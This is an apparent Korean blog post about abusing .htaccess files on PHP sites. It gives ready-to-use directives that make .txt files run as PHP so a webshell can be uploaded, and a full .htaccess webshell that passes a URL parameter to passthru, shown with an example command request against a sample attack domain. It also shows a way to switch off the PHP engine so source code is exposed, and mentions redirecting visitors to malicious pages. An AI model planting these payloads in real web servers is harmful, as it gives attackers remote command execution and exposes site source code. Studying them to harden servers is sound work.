htaccess


php 어플리케이션에서 .htaccess 를 이용하면 다양한 공격을 시도할 수 있다.



1) php 확장자가 아닌 다른 어떤 확장자로도 웹쉘 업로드가 가능해진다.(지정 가능)


AddType application/x-httpd-php .txt


위와 같은 .htaccess 를 먼저 업로드 후 webshell.txt 파일 업로드




2) htaccess 자체를 웹쉘로 사용

============================================

<Files ~ "^\.ht">

Order allow, deny

Allow from all

</Files>

interpreted

AddType application/x-httpd-php .htaccess


<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>


http://www.attack1234.co.kr/.htaccess?c=ls

============================================

출처 : http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html




3) php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.


php_flag engine off

AddType text/plain php



4) 악성코드 페이지로 리다이렉트 등

+ Recent posts